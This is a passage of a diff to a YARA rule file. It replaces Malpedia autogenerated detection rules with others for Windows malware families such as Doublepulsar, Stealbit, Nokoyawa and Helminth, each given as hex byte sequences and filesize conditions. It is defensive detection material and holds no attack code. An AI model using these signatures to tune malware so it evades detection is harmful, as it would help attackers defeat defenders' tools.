+		$sequence_2 = { 0f57c0 660f13857498ffff eb1e 8b957498ffff 83c201 8b857898ffff 83d000 }
+		$sequence_3 = { eb1e 8b85bc86ffff 83c001 8b8dc086ffff 83d100 8985bc86ffff 898dc086ffff }
+		$sequence_4 = { 8b959875ffff 83d200 898d9475ffff 89959875ffff 83bd9875ffff00 7722 720c }
+		$sequence_5 = { ebb7 0fb6952cfdffff 83fa01 7552 c7855cbdffff00000000 eb0f 8b855cbdffff }
+		$sequence_6 = { ebba 0fb68d5efdffff 83f901 7556 0f57c0 660f1385c472ffff eb1e }
+		$sequence_7 = { 8a95b7fdffff 80c201 8895b7fdffff ebbd 0fb6859efdffff 83f801 7552 }
+		$sequence_8 = { 8b8518f8ffff 0fbe08 85c9 7502 eb02 ebba 0fb69591fdffff }
+		$sequence_9 = { eb0f 8b8d34f0ffff 83c101 898d34f0ffff 8b9564f6ffff 52 e8???????? }
 
 	condition:
-		7 of them and filesize <565248
+		7 of them and filesize <2322432
 }
-rule MALPEDIA_Win_Lazardoor_Auto : FILE
+rule MALPEDIA_Win_Helminth_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2eb37290-3e1c-5665-a83e-f5adb7297910"
+		id = "e8458d0c-0e53-5434-b94f-d27e99b6a572"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazardoor_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.helminth_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "0bf4197e05236eb2be49432405132a9996b398c538e39f55b3ceea025a90e3ab"
+		logic_hash = "40475479d37d8203c72424a48ad87a8ce641700a54f37b53283dc8f7df269c35"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177925,32 +184866,37 @@ rule MALPEDIA_Win_Lazardoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488bd1 488bc1 48c1f806 4c8d05f4f60000 }
-		$sequence_1 = { 428a8c3998a50100 482bd0 8b42fc d3e8 443bc8 0f8d09010000 488b4b28 }
-		$sequence_2 = { 4053 4883ec20 488d05575a0100 488bd9 488901 f6c201 740a }
-		$sequence_3 = { 8905???????? 0f1105???????? 8b15???????? 4533c9 488b0d???????? 4533c0 }
-		$sequence_4 = { 4d85c0 7410 488d15615b0200 488bc8 }
-		$sequence_5 = { 44392d???????? 743d 4533c9 4c896c2430 c744242880000000 }
-		$sequence_6 = { 660f6e5cc610 660f62d8 660f6fc7 660f6cda 660ffec4 660f76de }
-		$sequence_7 = { 33d2 e8???????? 3bc3 7565 03fb 8b1d???????? 3bfb }
-		$sequence_8 = { ba5a540000 e9???????? 8b05???????? 85c0 }
-		$sequence_9 = { 4c8bc1 b84d5a0000 66390525b6ffff 7578 48630d58b6ffff 488d1515b6ffff 4803ca }
+		$sequence_0 = { a1???????? 68e8030000 8907 e8???????? }
+		$sequence_1 = { 83e61f c1e606 57 8b3c9d70750110 8a4c3704 }
+		$sequence_2 = { 894c2408 8d9b00000000 668b02 83c202 6685c0 }
+		$sequence_3 = { c1e106 899528e5ffff 53 8b149570750110 898d24e5ffff 8a5c1124 02db }
+		$sequence_4 = { 85ff 0f84be000000 897de0 8b049d70750110 0500080000 3bf8 }
+		$sequence_5 = { 03f2 eb5c 8b45f4 8b0c8570750110 f644190448 }
+		$sequence_6 = { 80c980 884c3704 8b0c9d70750110 8a443124 2481 }
+		$sequence_7 = { 2c2c 2c2c 232425???????? 2c2c 2c2c 2c2c }
+		$sequence_8 = { e8???????? 59 6a64 ff15???????? 57 57 }
+		$sequence_9 = { 8bf9 897c2410 e8???????? 8bcf }
+		$sequence_10 = { 8a02 8b9524e5ffff 8b0c9d28eb4100 88440a34 8b049d28eb4100 c744023801000000 }
+		$sequence_11 = { 663bc1 75f4 6a18 59 be???????? }
+		$sequence_12 = { a1???????? eb0c c745e4a4ee4100 a1???????? 33db }
+		$sequence_13 = { 83c102 663bc3 75f4 a1???????? 8bd7 }
+		$sequence_14 = { 6a03 68???????? 8d0c458ce44100 8bc1 2d???????? d1f8 }
 
 	condition:
-		7 of them and filesize <405504
+		7 of them and filesize <479232
 }
-rule MALPEDIA_Win_Quickmute_Auto : FILE
+rule MALPEDIA_Win_Apocalipto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ebd5405-d3fe-5b1c-9991-79b28ea4d116"
+		id = "ee7a0f0d-5a8b-59ea-a6c9-35fc5d51d457"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quickmute_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.apocalipto_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "94d7bee668e9656185345d12aa56e27e4c1baa2644d60d5f43d4b597af8c5206"
+		logic_hash = "ab10b935b7f8e9ea80933c4818fa1b5859216a7e2d022a7818f118074140bb2a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177964,71 +184910,71 @@ rule MALPEDIA_Win_Quickmute_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 ff15???????? 50 ff15???????? 5f c3 }
-		$sequence_1 = { 750c 8d4dd8 51 56 }
-		$sequence_2 = { 8d55c0 52 56 ffd7 a3???????? 833d????????00 c6854cffffff54 }
-		$sequence_3 = { 8d9578edffff 52 6a03 ff15???????? 3bc3 745c }
-		$sequence_4 = { 885dae 391d???????? 750c 8d4da8 }
-		$sequence_5 = { 56 68???????? ff15???????? 83c408 8b751c }
-		$sequence_6 = { 7510 53 6a40 ff15???????? 53 }
-		$sequence_7 = { c7459030002900 c7459420006c00 c7459869006b00 c7459c65002000 }
-		$sequence_8 = { 6a00 50 8946f8 ff15???????? }
-		$sequence_9 = { c78542ffffff63746f72 66c78546ffffff7957 c68548ffffff00 750f }
+		$sequence_0 = { 880e b967666666 89d8 f7e9 89d1 c1f902 }
+		$sequence_1 = { 8817 41 47 39f1 75f5 c6040800 5b }
+		$sequence_2 = { c7042400000000 ff15???????? 52 8985ccf3ffff e8???????? 2500f0ffff 8d9800f0ffff }
+		$sequence_3 = { 8b5584 29f2 89542404 893c24 e8???????? c745e400000000 }
+		$sequence_4 = { 8b4154 89442408 895c2404 893424 }
+		$sequence_5 = { 83ec2c 8b4d08 8b450c 85c0 0f849d000000 }
+		$sequence_6 = { e8???????? 8d95e8f7ffff 89542404 893c24 e8???????? 89c2 85c0 }
+		$sequence_7 = { 8d3c10 31c9 8a140b 8817 }
+		$sequence_8 = { 891c24 ff15???????? 83ec08 a3???????? 85c0 0f8497080000 }
+		$sequence_9 = { 0f84cb080000 c7442404???????? 891c24 ff15???????? 83ec08 a3???????? 85c0 }
 
 	condition:
-		7 of them and filesize <146432
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Unidentified_102_Auto : FILE
+rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68f5ede2-e772-5b9c-86c7-72da7d6ddaff"
-		date = "2023-07-11"
-		modified = "2023-07-15"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_102_auto.yar#L1-L130"
+		id = "05fc3e6a-bc1e-5e27-996e-6357de6a9e2c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_bolid_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "7cf959abf8b06a75a101a66334f27ae5601df812c1ddb140fd9298ef735bb0dc"
+		logic_hash = "938464f6c09d72401fc04aa41413a321a3c389b634663fb70512029f39441d8b"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230705"
-		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
-		malpedia_version = "20230715"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6bd238 8b0c8d187b0410 88441129 8b0b 8bc1 c1f806 }
-		$sequence_1 = { 83c408 8bb5e8fdffff 8dbdd8fdffff 83bdecfdffff10 c745b000000000 0f43bdd8fdffff }
-		$sequence_2 = { 8bf3 6bf938 c1fe06 6a00 8b0cb5187b0410 ff740f24 }
-		$sequence_3 = { 894610 c7461407000000 668906 e9???????? 837f1410 8bcf 7202 }
-		$sequence_4 = { c785e4fbffff07000000 8d5102 668985d0fbffff 6690 668b01 83c102 6685c0 }
-		$sequence_5 = { 8d85e8e7ffff 68???????? 50 ff15???????? 83c410 8d8594e7ffff 50 }
-		$sequence_6 = { 0f1085b0fcffff 0f1100 8bc4 0f108590fcffff 51 0f1100 ff5228 }
-		$sequence_7 = { 83c408 8b95dcfeffff 83fa10 722f 8b8dc8feffff 42 8bc1 }
-		$sequence_8 = { 6a00 68???????? 6802000080 c785c8e7ffff3f000f00 ff15???????? 85c0 0f84ef000000 }
-		$sequence_9 = { 8d45f4 64a300000000 8965f0 8b4510 8b4d18 8b5d0c }
+		$sequence_0 = { 741e 8b4c240c 51 ff15???????? 56 68???????? e8???????? }
+		$sequence_1 = { e8???????? 8d8c24d4000000 c684242c02000004 51 8bcd e8???????? 8b15???????? }
+		$sequence_2 = { 8bcb e8???????? 85c0 0f84fa000000 8b550c 42 }
+		$sequence_3 = { 49 885c2454 51 68???????? 8d4c2444 }
+		$sequence_4 = { 83c40c 8b15???????? 8d4de4 52 }
+		$sequence_5 = { e8???????? 6a01 8d4c2440 c644245800 e8???????? 8b4c2460 }
+		$sequence_6 = { f3a4 8b35???????? 8d4c2410 51 6a26 52 89442420 }
+		$sequence_7 = { 8b458c 3bc3 7505 b8???????? }
+		$sequence_8 = { 50 ff5104 33db 6a01 }
+		$sequence_9 = { 53 880e 8bce e8???????? 8b15???????? 8d44245c }
 
 	condition:
-		7 of them and filesize <626688
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Bunitu_Auto : FILE
+rule MALPEDIA_Win_Orangeade_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fdd29b03-d926-5cbf-98be-29b287d71b21"
+		id = "a790e493-320f-57de-9b62-d13796c94676"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bunitu_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orangeade_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "c3bd7c13018c7a8c4646040c13e12026479d672a4bbef2d99f41e09a2ac2f388"
+		logic_hash = "bc9cfd6680cc4f32cd41e9edf43afa43b54975c598906df96ea95e31fa6c1612"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178042,32 +184988,32 @@ rule MALPEDIA_Win_Bunitu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 50 6a00 68???????? 6a00 50 ff15???????? }
-		$sequence_1 = { 58 6a02 ffb524fdffff ff15???????? ffb524fdffff }
-		$sequence_2 = { 50 ff75ec e8???????? 0bc0 7e18 50 }
-		$sequence_3 = { 48 40 8d443825 668b00 }
-		$sequence_4 = { c70003000000 ffb524fdffff 8f4004 ffb528fdffff 8f4008 }
-		$sequence_5 = { ffb524fdffff e8???????? eb12 6a08 68???????? ffb524fdffff e8???????? }
-		$sequence_6 = { 59 8bd0 8bdf b82f000000 }
-		$sequence_7 = { 895004 b9???????? 8d55fc 52 6800000100 50 51 }
-		$sequence_8 = { c70003000000 ff75f0 8f4004 ff75ec 8f4008 }
-		$sequence_9 = { 837df000 7614 6a02 ff75f0 ff15???????? }
+		$sequence_0 = { 8bb42428050000 50 8bce e8???????? c744241001000000 }
+		$sequence_1 = { 50 8d942470020000 51 52 ff15???????? }
+		$sequence_2 = { f3ab 66ab aa 8d842468020000 50 }
+		$sequence_3 = { 6881000000 6a00 c784249428010000000000 ff15???????? 8bf0 56 }
+		$sequence_4 = { aa b93f000000 33c0 8dbc2465010000 }
+		$sequence_5 = { 8d4c2424 c684248828010002 e8???????? 8d4c2410 c684248828010001 e8???????? 8d4c2414 }
+		$sequence_6 = { b93f000000 33c0 8d7c2479 885c2478 f3ab }
+		$sequence_7 = { 68???????? 8d4c2410 e8???????? 68???????? 6884000000 53 ff15???????? }
+		$sequence_8 = { e8???????? 83c404 8d4c2424 c684248828010002 }
+		$sequence_9 = { 50 8d4c2410 c684248400000001 e8???????? }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Zeus_Action_Auto : FILE
+rule MALPEDIA_Win_Pitou_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "65e8f438-ad6b-5cc2-8433-22cd51967cfc"
+		id = "8ffbef2d-72c2-5fd0-bc80-d9aaff0b569e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_action_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pitou_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "d578cc91c04661eaf2cc2ee8b8d1f82a11b119d1521d38f5e03bfba5cd5d37a6"
+		logic_hash = "e9d79d3aa0dabaeee54f58f2a742dc54ca18da56fbfe8d220d28635b8791c96b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178081,32 +185027,32 @@ rule MALPEDIA_Win_Zeus_Action_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 668945fa 8d75f4 a5 a5 a5 8383d87500000c 33f6 }
-		$sequence_1 = { 7417 8b01 57 51 ff5034 8b4de8 85c9 }
-		$sequence_2 = { ff15???????? b800080000 663b05???????? 7510 e8???????? 84c0 7407 }
-		$sequence_3 = { 894508 3bf0 7433 8d7b14 85f6 7504 33c0 }
-		$sequence_4 = { 0f84d0020000 395df8 0f84c7020000 395df4 0f84be020000 395dd0 0f84b5020000 }
-		$sequence_5 = { 49 3bc6 7509 8b7dd8 894de8 }
-		$sequence_6 = { 59 85c0 0f8479010000 837ddc00 740f 53 e8???????? }
-		$sequence_7 = { 83c0fb 83f803 7740 f745d000080000 7416 03f9 03d9 }
-		$sequence_8 = { 50 8b4618 83c004 50 ff15???????? 8b761c 83c40c }
-		$sequence_9 = { ff15???????? 85c0 7817 56 8d85f8fdffff 50 8d85f0fbffff }
+		$sequence_0 = { 8bda c1e305 03c3 8bda }
+		$sequence_1 = { ac 8bda c1e305 03c3 8bda c1eb02 03c3 }
+		$sequence_2 = { c1e305 03c3 8bda c1eb02 }
+		$sequence_3 = { 8a6201 80f457 8acc 80e103 }
+		$sequence_4 = { 8bda c1e305 03c3 8bda c1eb02 03c3 33d0 }
+		$sequence_5 = { 8a12 80f257 8ada c0eb02 }
+		$sequence_6 = { c1e305 03c3 8bda c1eb02 03c3 33d0 }
+		$sequence_7 = { 53 80ef18 80ff10 5b }
+		$sequence_8 = { 80f457 8acc 80e103 8aec }
+		$sequence_9 = { ac 8bda c1e305 03c3 8bda }
 
 	condition:
-		7 of them and filesize <827392
+		7 of them and filesize <1106944
 }
-rule MALPEDIA_Win_Misha_Auto : FILE
+rule MALPEDIA_Win_Doublepulsar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3791b368-7721-59e9-a6c9-80386ca3e3f7"
+		id = "e4212e3d-0371-55d3-984d-e0909a78bc0f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.misha_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublepulsar_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "20e70ebbe7343afb7f42cf249a2a9fa16b58c61214c6be715dfea2d371ecbbbb"
+		logic_hash = "dd8758cb2c036e196362248313c65a128ef51c3148638e90157034cf0392e7be"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178120,32 +185066,38 @@ rule MALPEDIA_Win_Misha_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fbe09 03c1 894510 8b45f8 40 8945f8 8b4510 }
-		$sequence_1 = { c20400 55 8bec 51 837d0802 7448 837d0804 }
-		$sequence_2 = { 8945dc 817d140000007e 7607 33c0 e9???????? 8b4524 }
-		$sequence_3 = { 32c0 5d c3 56 8bf0 eb0a 8bce }
-		$sequence_4 = { c78510ffffff04040404 c78514ffffff04040404 c78518ffffff04040404 c7851cffffff04040404 c78520ffffff05050505 c78524ffffff05050505 c78528ffffff05050505 }
-		$sequence_5 = { 85c0 7404 2bf3 8930 b001 }
-		$sequence_6 = { 8b450c 0590010000 50 e8???????? 83c414 b001 e9???????? }
-		$sequence_7 = { 8b4dcc 8d440104 8945cc 837d900f 0f829e000000 837d1c00 741d }
-		$sequence_8 = { 50 e8???????? 8b5508 56 6a1c 59 }
-		$sequence_9 = { 8b4514 e8???????? 0fb64524 85c0 7456 6a00 68ffffff7f }
+		$sequence_0 = { 731b 8a44144d 8d7c244c 8844144c }
+		$sequence_1 = { 8d41ff 85c0 7c10 8a1430 80fa5c 7408 }
+		$sequence_2 = { 8bc1 8bf7 8bfa 89ac245c020000 c1e902 f3a5 8b542410 }
+		$sequence_3 = { 0f8423010000 8b13 68???????? 52 ffd6 83c408 85c0 }
+		$sequence_4 = { e8???????? 48 8b4520 48 8b4878 48 }
+		$sequence_5 = { 5b 81c4c8040000 c20800 a0???????? }
+		$sequence_6 = { 8bc3 5f 5e 5b c3 b8???????? 83f901 }
+		$sequence_7 = { 83c410 85c0 740a 68???????? e9???????? 8b442408 53 }
+		$sequence_8 = { 53 33c0 56 8b742420 }
+		$sequence_9 = { 83c151 57 51 ff5618 85c0 7404 31c0 }
+		$sequence_10 = { ffd6 83c408 85c0 0f84990e0000 8b03 68???????? }
+		$sequence_11 = { 7414 8b5640 8b4c2414 52 51 }
+		$sequence_12 = { 55 e8???????? 8bd8 85db 0f84a0000000 56 }
+		$sequence_13 = { 33c0 bade47773f 8d4848 f3aa }
+		$sequence_14 = { c1ea18 33c3 8b1c95f0354000 8b56fc 33c3 8b1c8df0414000 }
+		$sequence_15 = { 52 ff15???????? 8b4518 83c404 85c0 7517 a1???????? }
 
 	condition:
-		7 of them and filesize <710656
+		7 of them and filesize <140288
 }
-rule MALPEDIA_Win_Bughatch_Auto : FILE
+rule MALPEDIA_Win_Stealbit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "35614cb3-a7b5-53cc-adaa-ae210fa4a880"
+		id = "ba610849-1495-5151-b945-327f0dc5f838"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bughatch_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealbit_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "5b28b48c5896cf30a835a51ee080a086478b951d2bf5768e0498fb91c61b534d"
+		logic_hash = "0ba0bc4f1da3f2dc67b8b88d21908b92c199e11ae8a3f814064895150fd93270"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178159,32 +185111,32 @@ rule MALPEDIA_Win_Bughatch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 ff15???????? 68???????? 8d9594f7ffff 52 ff15???????? }
-		$sequence_1 = { 8d8594f7ffff 50 ff15???????? c745d80c000000 c745e001000000 c745dc00000000 8d4d94 }
-		$sequence_2 = { 52 6a00 8b45f8 50 ff15???????? 8945ec 837dec00 }
-		$sequence_3 = { 55 8bec 81ec30010000 c745e000000000 c745e860524000 }
-		$sequence_4 = { 894df4 8d55e4 52 8d4594 50 6a00 6a00 }
-		$sequence_5 = { 8b55ec 52 ff15???????? c745f801000000 8b45fc }
-		$sequence_6 = { 7308 8b45f8 8945f0 eb06 8b4d14 894df0 8b55f0 }
-		$sequence_7 = { ff15???????? 8b4de0 51 ff15???????? 8b45dc }
-		$sequence_8 = { 55 8bec 81ec60030000 837d0800 0f84d2000000 6a44 6a00 }
-		$sequence_9 = { e8???????? 83c40c 85c0 7407 c745fc01000000 8b45f8 50 }
+		$sequence_0 = { 8b4e30 e8???????? 8b4e30 e8???????? 83663000 8d562c }
+		$sequence_1 = { 8d8580fbffff 50 e8???????? 8bc8 e8???????? ffd0 8bd8 }
+		$sequence_2 = { 8bfa 8bd9 e8???????? 8bc8 e8???????? ffd0 8bf0 }
+		$sequence_3 = { e8???????? 8bc8 e8???????? ffd0 6a02 68bf000000 53 }
+		$sequence_4 = { c786a802000000000000 8d7e50 33db 8b4620 }
+		$sequence_5 = { 6a6f 66898546ffffff 33c0 66898548ffffff 58 6a63 668985d2fcffff }
+		$sequence_6 = { 66899570feffff 66899574feffff 5a 6a6d 58 6a69 66898500feffff }
+		$sequence_7 = { 6689859afeffff 33c0 668955de 5a 6a61 6689bd86feffff }
+		$sequence_8 = { 8945f8 e8???????? 03c0 8bce 8bd0 e8???????? 6a0c }
+		$sequence_9 = { e8???????? 8bc8 e8???????? 3d15cffdb1 740b 46 3bf7 }
 
 	condition:
-		7 of them and filesize <75776
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Isspace_Auto : FILE
+rule MALPEDIA_Win_Nokoyawa_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6de2cc9e-3c1b-5d82-85e8-a409082de585"
+		id = "71f47de5-b877-5435-a43f-09577ab6e252"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isspace_auto.yar#L1-L100"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nokoyawa_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "e463ab51553d0208df8251abb329c162f866232bb82c29826d5e55ecd0eb426f"
+		logic_hash = "a3e5835d9868e848c4cf7b1e58144cc15b3f0d5c2b0274b447bdec70231f3ad8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178198,30 +185150,32 @@ rule MALPEDIA_Win_Isspace_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 50 8d45f0 64a300000000 8965e8 c745fc00000000 c785505cffff00a20000 }
-		$sequence_1 = { 46 8bc6 c1e004 03c6 }
-		$sequence_2 = { ff15???????? 50 eb05 68???????? 68???????? ff15???????? }
-		$sequence_3 = { 6800010000 8d8600010000 6a00 50 e8???????? 83c418 8bc6 }
-		$sequence_4 = { e8???????? 83c418 83c60a 56 }
-		$sequence_5 = { 85c0 7507 68???????? eb04 83c007 }
-		$sequence_6 = { c78548ffffff9c000000 e8???????? 8ad8 c745fc00000000 }
-		$sequence_7 = { eb0a 6a00 6a23 eb04 6a00 }
+		$sequence_0 = { 33c8 8bc1 8b4c2420 488b9424c0000000 88040a e9???????? 33c0 }
+		$sequence_1 = { 488b4c2460 e8???????? 488b442468 4883e0c0 }
+		$sequence_2 = { 890424 8b0424 83c003 99 83e203 03c2 c1f802 }
+		$sequence_3 = { 488b4c2448 488b0c01 e8???????? 85c0 7511 c605????????01 e8???????? }
+		$sequence_4 = { 89442434 e8???????? 488905???????? 8b442434 }
+		$sequence_5 = { 48894c2408 4883ec18 48c7042400000000 488b442420 488b0c24 0fb70448 }
+		$sequence_6 = { 8b442420 83c014 89442420 837c242040 }
+		$sequence_7 = { 880424 488b442410 48c1e005 4803442410 0fb60c24 4803c1 4889442410 }
+		$sequence_8 = { 486bc907 8b4c0c20 8b440420 33c1 b904000000 }
+		$sequence_9 = { 8b9424a0000000 03d1 8bca 8d8408a1ebd96e 8b4c2414 03c8 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <92160
 }
-rule MALPEDIA_Win_Tapaoux_Auto : FILE
+rule MALPEDIA_Win_Stinger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68d778fd-5462-5b8a-898a-2fe57f5f9d68"
+		id = "03e2d1ca-b846-5787-b683-28feb74dae3e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tapaoux_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stinger_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "f82a0c342c816d1880cfb31489fc94204aa3933a5341062512dc21730819514f"
+		logic_hash = "64d2d0bb18e9f4889ac80d1e49c5ab473a950fa26645e6f561f71db4e8eb08f3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178235,32 +185189,32 @@ rule MALPEDIA_Win_Tapaoux_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 8d9424d0020000 33f6 52 55 ffd3 85c0 }
-		$sequence_1 = { f7d1 49 8d7c2454 894c2418 83c9ff f2ae f7d1 }
-		$sequence_2 = { 52 50 8d4c2420 68???????? 51 eb49 b900010000 }
-		$sequence_3 = { 68???????? 52 ffd6 8d44245c 68???????? 50 }
-		$sequence_4 = { 8be8 83fdff 0f84b0000000 8b3d???????? }
-		$sequence_5 = { 83c404 8d4c2414 50 51 e8???????? 8d54241c }
-		$sequence_6 = { 8d442408 55 50 8d8c241c040000 6800040000 51 56 }
-		$sequence_7 = { c3 8d442408 8d4c240c 50 53 53 }
-		$sequence_8 = { 68???????? 50 e8???????? 8b07 83c418 85c0 7526 }
-		$sequence_9 = { aa 8bb424200c0000 b900010000 33c0 }
+		$sequence_0 = { 8bec 81ec10000000 6804000080 6a00 8b5d08 }
+		$sequence_1 = { f6c441 0f854d010000 8b45f4 50 8b5d08 ff33 }
+		$sequence_2 = { 895df8 8965f4 ff75fc ff15???????? 90 90 }
+		$sequence_3 = { 6806000000 e8???????? 83c404 e9???????? 8be5 5d c21000 }
+		$sequence_4 = { e9???????? 68???????? 8b5d0c ff33 e8???????? 83c408 }
+		$sequence_5 = { a1???????? 85c0 891c85ecbe4000 750a }
+		$sequence_6 = { 6806000000 e8???????? 83c404 a3???????? 8965f8 68???????? }
+		$sequence_7 = { ff75fc 6802000000 bb94020000 e8???????? 83c41c 8945e8 }
